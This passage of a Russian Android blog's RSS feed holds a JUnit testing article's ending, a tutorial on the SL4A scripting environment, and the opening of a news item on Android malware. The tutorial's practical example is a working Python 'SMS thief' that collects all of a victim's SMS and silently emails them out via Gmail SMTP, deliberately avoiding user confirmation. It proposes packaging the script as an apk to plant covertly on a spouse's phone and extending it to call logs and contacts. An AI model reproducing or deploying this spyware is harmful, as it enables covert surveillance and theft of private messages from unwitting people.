size=&quot;3&quot;&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp;Напишем модульный тест для просчета:&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;public void testValidData()&amp;nbsp;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;{&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp; TouchUtils.tapView(this, mEditText1);&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp; sendKeys(KeyEvent.KEYCODE_0, KeyEvent.KEYCODE_SPACE, &amp;nbsp;KeyEvent.KEYCODE_0);&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp; TouchUtils.tapView(this, mEditText2);&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp; sendKeys(KeyEvent.KEYCODE_1, KeyEvent.KEYCODE_SPACE, &amp;nbsp;KeyEvent.KEYCODE_0);&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp; TouchUtils.tapView(this, mEditText3);&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp; sendKeys(KeyEvent.KEYCODE_2, KeyEvent.KEYCODE_SPACE, &amp;nbsp;KeyEvent.KEYCODE_0);&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp; TouchUtils.tapView(this, mEditText1);&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp; assertEquals(&quot;OK&quot;, mTextView.getText());&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp; }&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;Он не проходит, потому что редактирование не обрабатывается. Напишем обработчик для события смены фокуса на EditText’ах — и тест будет пройден. Код обработчика приводиться не будет из-за ограниченности объема статьи, к тому же, он абсолютно тривиален. Также необходимо проверить, правильно ли обрабатываются неверные данные - это задание останется на твоей совести, тем более, что оно практически аналогично предыдущему тесту :).&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp;При запуске тестов можно наблюдать, как сами нажимаются элементы интерфейса, переключаются Activity (для каждого теста Activity запускается заново) — забавное зрелище :).&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;Мораль сей басни такова&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;В данной статье были рассмотрены как теоретическая, так и практическая части разработки через тестирование. В качестве примера приведен код приложения на Java под ОС Android с использованием инструментария JUnit, однако принципы тестирования приблизительно одинаковы на любой ОС.&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp;Конечно же, разработка через тестирование не исключает тестирования приложения из цикла разработки, однако существенно облегчает как последующее тестирование, так и разработку в целом, позволяя избежать досадных ошибок, на исправление которых уходят многие часы.&lt;/font&gt;&lt;/div&gt;</content:encoded>
			<link>https://russia-android.ucoz.ru/blog/tdd_i_android/2012-01-01-20</link>
			<dc:creator>linux777777</dc:creator>
			<guid>https://russia-android.ucoz.ru/blog/tdd_i_android/2012-01-01-20</guid>
			<pubDate>Sun, 01 Jan 2012 15:19:55 GMT</pubDate>
		</item>
		<item>
			<title>SMS-похититель для Android: Sсriрting Layer for Android - интересная среда разработки для мобильного телефона</title>
			<description>&lt;p class=&quot;MsoNormal&quot;&gt;&lt;font size=&quot;3&quot; style=&quot;font-size: 12pt; &quot;&gt;Устройства на базе ОС Android завоевали большую популярность
и привлекают к себе все больше внимания. К сожалению, кодинг под эту платформу
требует определенных специфических навыков и знаний. А ведь часто бывает нужно
всего лишь накидать небольшой скрипт на любимом Python или Ruby! SL4A готов
помочь тебе в этом.&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;font size=&quot;3&quot;&gt;Преамбула&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;o:p&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp;&lt;/font&gt;&lt;/o:p&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;font size=&quot;3&quot;&gt;SL4A представляет собой среду разработки для мобильных
телефонов на базе Android. Она позволяет создавать, редактировать и выполнять
скрипты на следующих языках: Python, Perl, JRuby, Lua, BeanShell, JavaScript,
Tcl. Также в ней реализовано API, которое дает доступ практически ко всем
функциям и параметрам системы Android, и даже позволяет создавать элементы
пользовательского интерфейса. Таким образом, мы имеем возможность пис...</description>
			<content:encoded>&lt;p class=&quot;MsoNormal&quot;&gt;&lt;font size=&quot;3&quot; style=&quot;font-size: 12pt; &quot;&gt;Устройства на базе ОС Android завоевали большую популярность
и привлекают к себе все больше внимания. К сожалению, кодинг под эту платформу
требует определенных специфических навыков и знаний. А ведь часто бывает нужно
всего лишь накидать небольшой скрипт на любимом Python или Ruby! SL4A готов
помочь тебе в этом.&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;font size=&quot;3&quot;&gt;Преамбула&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;o:p&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp;&lt;/font&gt;&lt;/o:p&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;font size=&quot;3&quot;&gt;SL4A представляет собой среду разработки для мобильных
телефонов на базе Android. Она позволяет создавать, редактировать и выполнять
скрипты на следующих языках: Python, Perl, JRuby, Lua, BeanShell, JavaScript,
Tcl. Также в ней реализовано API, которое дает доступ практически ко всем
функциям и параметрам системы Android, и даже позволяет создавать элементы
пользовательского интерфейса. Таким образом, мы имеем возможность писать
относительно полноценные программы для данной платформы на привычном языке
программирования. Как видишь, перед нами не просто текстовый редактор плюс
командная строка, а полноценная платформа, на основе которой при желании можно
серьезно расширить функциональность своего телефона. Проект открытый, и имеет
вокруг себя относительно крупное и активное сообщество. Несмотря на то, что на
момент написания статьи данный продукт еще находился в alpha-версии, на нем
реализовано некоторое количество весьма интересных вещей. Например, управление
роботами при помощи мобильного телефона, подробнее можно узнать об этом в блоге
cellbots.com.&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;font size=&quot;3&quot;&gt;Установка&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;o:p&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp;&lt;/font&gt;&lt;/o:p&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;font size=&quot;3&quot;&gt;Она происходит в два этапа: сначала нужно скачать и
установить саму SL4A, затем из-под нее инсталлировать android-версию нужного тебе
скриптового языка. Скачать apk-файл можно на сайте проекта. Следующим пунктом
нужно установить приложение, предварительно включив в настройках &quot;Доверять
неизвестным источникам&quot;. После запуска мы увидим перед собой темное окошко
безо всякой дополнительной информации. Вызываем меню и выбираем View..
Interpreters. В данном случае у нас будет доступен только Shell – командная
строка, в которой выполняется большинство unix-команд. Чтобы установить
интересующий тебя скриптовый язык, опять вызывай меню, нажимай Add, и перед
тобой предстанет список доступных языков. Выбор любого из них приведет к
скачиванию установочного apk-файла. Меня интересует язык Python, поэтому я
выбрал и установил его. Также ты можешь скачать любые необходимые файлы на
сайте проекта, либо забрать их с диска. После установки в телефоне появится
приложение Python for Android, запустив которое, ты увидишь единственную
кнопочку &quot;Install&quot;, по нажатию на которую, программа скачает и
распакует все необходимые ей файлы. Теперь, если снова зайти в SL4A, ты
обнаружишь, что в ней появились несколько весьма полезных примеров скриптов на
Python. Теперь можно со спокойной душой приступать к самому интересному –
кодингу. &lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: center;&quot;&gt;&lt;o:p&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp;&lt;!--IMG1--&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;http://russia-android.ucoz.ru/_bl/0/79334251.png&quot; align=&quot;&quot; /&gt;&lt;!--IMG1--&gt;&lt;/font&gt;&lt;/o:p&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;font size=&quot;3&quot;&gt;Hello world!&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;o:p&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp;&lt;/font&gt;&lt;/o:p&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;font size=&quot;3&quot;&gt;Несмотря на то, что написание Hello World — занятие
несложное практически на любом языке программирования, я рассмотрю данный
пример с той целью, чтобы разъяснить некоторые особенности работы в программе.
Давай снова зайдем в список интерпретаторов (Меню .. View .. Interpreters), там
у нас уже должен появиться Python. Запустим его, откроется привычная командная
строка, где ты можешь написать print &quot;Hello world&quot; и убедиться, что
все работает.&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;o:p&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp;&lt;/font&gt;&lt;/o:p&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;font size=&quot;3&quot;&gt;Аналогичным образом ты можешь выполнять любые команды, а
когда наиграешься — закрывай терминал командой exit() и будь готов капельку
усложнить представленный пример. Вернись из меню интерпретаторов в основное
окно, вызови меню, нажми Add .. Python, и программа создаст нам новый py–файл,
в котором по умолчанию будут следующие строки:&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;o:p&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp;&lt;/font&gt;&lt;/o:p&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;font size=&quot;3&quot;&gt;import
android&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;font size=&quot;3&quot;&gt;droid =
android.Android()&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;o:p&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp;&lt;/font&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;font size=&quot;3&quot;&gt;Смысл их, думаю, понятен: импортируется модуль,
предоставляющий функционал работы с системой, и создается объект droid. Теперь
— самое интересное: мы также можем написать в файле print &quot;Hello
world&quot;, а можем вывести hello world в системном alert-окошке при помощи
API. Код для этого будет выглядеть следующим образом:&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;o:p&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp;&lt;/font&gt;&lt;/o:p&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;font size=&quot;3&quot;&gt;import android&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;font size=&quot;3&quot;&gt;droid = android.Android()&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;font size=&quot;3&quot;&gt;# здороваемся обычным способом&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;font size=&quot;3&quot;&gt;h = &quot;hello world&quot;&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;font size=&quot;3&quot;&gt;print h&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;font size=&quot;3&quot;&gt;# здороваемся при помощи API&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;font size=&quot;3&quot;&gt;droid.dialogCreateAlert(h,
h)&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;font size=&quot;3&quot;&gt;droid.dialogShow()&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;o:p&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp;&lt;/font&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;font size=&quot;3&quot;&gt;Результат выполнения этой программы можно увидеть на
скриншоте. DialogCreateAlert имеет два параметра: заголовок и тело сообщения.
Также уведомить пользователя можно быстрым и небольшим сообщением makeToast
(&quot;Твое сообщение&quot;).&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;o:p&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp;&lt;/font&gt;&lt;/o:p&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: center;&quot;&gt;&lt;o:p&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp;&lt;!--IMG2--&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;http://russia-android.ucoz.ru/_bl/0/93451083.png&quot; align=&quot;&quot; /&gt;&lt;!--IMG2--&gt;&lt;/font&gt;&lt;/o:p&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;o:p&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp;&lt;/font&gt;&lt;/o:p&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;font size=&quot;3&quot;&gt;Таким образом перед нами предстает простая и мощная система
для построения собственных приложений или написания скриптов для облегчения
каких-либо повседневных задач, при этом тебе ничего не требуется, кроме
собственного телефона! Чтобы облегчить нам жизнь, разработчики встроили API
browser, при помощи которого можно быстро находить и добавлять необходимые
команды. Чтобы добавить требуемую команду, нужно задолбить ее долгим нажатием,
и в появившемся меню нажать &lt;Insert&amp;gt;. Таким образом создание даже
довольно сложных скриптов не покажется тебе особенно устрашающим. Теперь, для
закрепления пройденного материала, рассмотрим &quot;боевой&quot; пример. &lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;font size=&quot;3&quot;&gt;SMS-вор&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;o:p&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp;&lt;/font&gt;&lt;/o:p&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;font size=&quot;3&quot;&gt;Предлагаю для практики написать скрипт, который соберет все
SMS у незадачливого пользователя и отправит их нам на почту.&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;o:p&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp;&lt;/font&gt;&lt;/o:p&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;font size=&quot;3&quot;&gt;# -*-
coding: utf-8 -*-&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;font size=&quot;3&quot;&gt;import
android, smtplib, os&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;font size=&quot;3&quot;&gt;droid = android.Android()&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;font size=&quot;3&quot;&gt;# Необходимые переменные&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;font size=&quot;3&quot;&gt;mailfrom = &quot;откуда отправлять&quot;&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;font size=&quot;3&quot;&gt;mailto = &quot;куда отправлять&quot;&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;font size=&quot;3&quot;&gt;lines = &quot;&quot;&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;font size=&quot;3&quot;&gt;# получаем сообщения&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;font size=&quot;3&quot;&gt;result = droid.smsGetMessages(False)&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;font size=&quot;3&quot;&gt;# обрабатываем результат и формируем тело письма&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;font size=&quot;3&quot;&gt;for f in
result[1]:&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; for value in f.values():&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; lines =
lines+str(value.encode(&apos;utf-8&apos;))+ &apos;&amp;#92;n&apos;&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;font size=&quot;3&quot;&gt;print lines&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;font size=&quot;3&quot;&gt;# отсылаем полученные данные на почту&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;font size=&quot;3&quot;&gt;mailSend =
smtplib.SMTP(&quot;smtp.gmail.com&quot;,587)&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;font size=&quot;3&quot;&gt;mailSend.ehlo()&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;font size=&quot;3&quot;&gt;mailSend.starttls()&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;font size=&quot;3&quot;&gt;mailSend.ehlo()&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;font size=&quot;3&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;mailSend.login(mailfrom,&quot;&lt;/span&gt;пароль от
ящика&lt;span lang=&quot;EN-US&quot;&gt;&quot;)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;font size=&quot;3&quot;&gt;mailSend.sendmail(mailfrom,
mailto, lines)&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;font size=&quot;3&quot;&gt;mailSend.close()&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;o:p&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp;&lt;/font&gt;&lt;/o:p&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;font size=&quot;3&quot;&gt;Как видишь, скрипт получился довольно простым. Давай
пробежимся по нему и разъясним основные моменты.&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;o:p&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp;&lt;/font&gt;&lt;/o:p&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;font size=&quot;3&quot;&gt;В переменные mailfrom и mailto нужно забить адреса ящиков, с
которых ты будешь отправлять и на которые будешь принимать письма,
соответственно. Затем при помощи команды smsGetMessages() забираем сообщения. В
качестве параметра ей надо указать, передавать ли только непрочитанные (True),
или все сообщения (False). На будущее замечу, что у данной функции также есть и
второй, необязательный параметр: inbox (по умолчанию) — из какой папки читать
сообщения, в данном случае — входящие. После выполнения в переменную result
запишется список, который состоит из списка словарей. Звучит запутанно, поэтому
смотри код. Первый список — result, список SMS содержится в первом его
элементе, поэтому в дальнейшем я работаю только со списком result[1], в котором
каждый элемент — это словарь, а каждый словарь содержит SMS, номер телефона и
ID сообщения. Ключи меня не сильно интересуют, поэтому я извлекаю только
значения из каждого словаря и записываю их в строку, которая затем будет
отправлена по почте. Для отправки по почте в API SL4A есть команда sendEmail(),
но она требует участия пользователя, который вряд ли захочет, чтобы его
входящие SMS отправились неизвестно кому. Поэтому подключаем smtplib и
отправляем письмо самостоятельно. Ты можешь отправить это письмо самому себе
или на другой ящик.&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;o:p&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp;&lt;/font&gt;&lt;/o:p&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;font size=&quot;3&quot;&gt;Где такой пример может пригодиться? Допустим, ты частный
детектив, и очередная ревнивая жена попросила выяснить, что пишут ее мужу юные
любовницы. Данный скрипт можно преобразовать в apk-файл (подробности&amp;nbsp; здесь), установить в телефон нерадивому
супругу, а жене на почту будут приходить все планы будущих прелюбодеяний :).&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;font size=&quot;3&quot;&gt;Заключение&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;o:p&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp;&lt;/font&gt;&lt;/o:p&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;font size=&quot;3&quot;&gt;Помимо эсэмэсок, аналогичным способом при помощи API (вся
необходимая инфа также есть на сайте проекта) можно выцепить из памяти телефона
историю звонков, список контактов и многое другое. Думаю, что я уже дал тебе
достаточно информации для твоих изощренных кодерских фантазий, дерзай комрад!&lt;/font&gt;&lt;/p&gt;</content:encoded>
			<link>https://russia-android.ucoz.ru/blog/sms_pokhititel_dlja_android_ssrirting_layer_for_android_interesnaja_sreda_razrabotki_dlja_mobilnogo_telefona/2012-01-01-19</link>
			<dc:creator>linux777777</dc:creator>
			<guid>https://russia-android.ucoz.ru/blog/sms_pokhititel_dlja_android_ssrirting_layer_for_android_interesnaja_sreda_razrabotki_dlja_mobilnogo_telefona/2012-01-01-19</guid>
			<pubDate>Sun, 01 Jan 2012 15:09:17 GMT</pubDate>
		</item>
		<item>
			<title>Поток зловредов для Android: виноват Market… и не только</title>
			<description>&lt;p class=&quot;MsoNormal&quot;&gt;&lt;font size=&quot;3&quot; style=&quot;font-size: 12pt; &quot;&gt;Согласно исследованию Juniper Networks, количество
вредоносного ПО для Android только с июля возросло в пять раз.&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;o:p&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp;&lt;/font&gt;&lt;/o:p&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;font size=&quot;3&quot;&gt;Возможность для всех разрабатывать и публиковать приложения
для Android, в отличие от более строгой модели, которая применяется компанией
Apple для iOS, является одной из причин того, что количество зловредов для
платформы увеличилось на 472% всего за три с небольшим месяца. Компания Juniper
также обвинила Android в отсутствии &quot;адекватного механизма проверки
кода&quot;.&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;o:p&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp;&lt;/font&gt;&lt;/o:p&gt;&lt;font size=&quot;3&quot;&gt;В блоге Junioer объясняют:&lt;/font&gt;&lt;span style=&quot;font-size: medium; &quot;&gt;Сейчас, похоже, все, что тебе нужно, это аккаунт разработчика, который относительно легко сделать анонимным. Плати 25%, и сможешь публиковать любые приложения. Поскол...</description>
			<content:encoded>&lt;p class=&quot;MsoNormal&quot;&gt;&lt;font size=&quot;3&quot; style=&quot;font-size: 12pt; &quot;&gt;Согласно исследованию Juniper Networks, количество
вредоносного ПО для Android только с июля возросло в пять раз.&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;o:p&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp;&lt;/font&gt;&lt;/o:p&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;font size=&quot;3&quot;&gt;Возможность для всех разрабатывать и публиковать приложения
для Android, в отличие от более строгой модели, которая применяется компанией
Apple для iOS, является одной из причин того, что количество зловредов для
платформы увеличилось на 472% всего за три с небольшим месяца. Компания Juniper
также обвинила Android в отсутствии &quot;адекватного механизма проверки
кода&quot;.&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/p&gt;

